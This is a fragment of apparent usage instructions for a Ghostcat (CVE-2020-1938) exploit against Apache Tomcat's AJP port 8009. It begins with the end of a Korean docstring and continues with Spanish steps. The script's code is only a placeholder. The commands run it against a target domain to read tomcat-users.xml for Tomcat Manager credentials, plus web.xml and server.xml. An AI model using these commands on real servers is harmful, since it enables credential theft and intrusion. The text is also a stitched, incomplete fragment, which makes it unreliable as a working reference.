Ghostcat - CVE-2020-1938 Exploit Tomcat에서 AJP 커넥터(포트 8009)를 통해 파일을 읽습니다. 사용법: python3 ghostcat.py [파일] """

Guardar el script

cat > ghostcat.py << 'PYEOF' [AQUÍ VA EL CÓDIGO COMPLETO DE ARRIBA] PYEOF

Dar permisos y ejecutar

chmod +x ghostcat.py

Leer tomcat-users.xml (credenciales del Tomcat Manager)

python3 ghostcat.py ejemplo.com conf/tomcat-users.xml 8009

Leer WEB-INF/web.xml

python3 ghostcat.py ejemplo.com WEB-INF/web.xml 8009

Leer server.xml (configuración completa)

python3 ghostcat.py ejemplo.com conf/server.xml 8009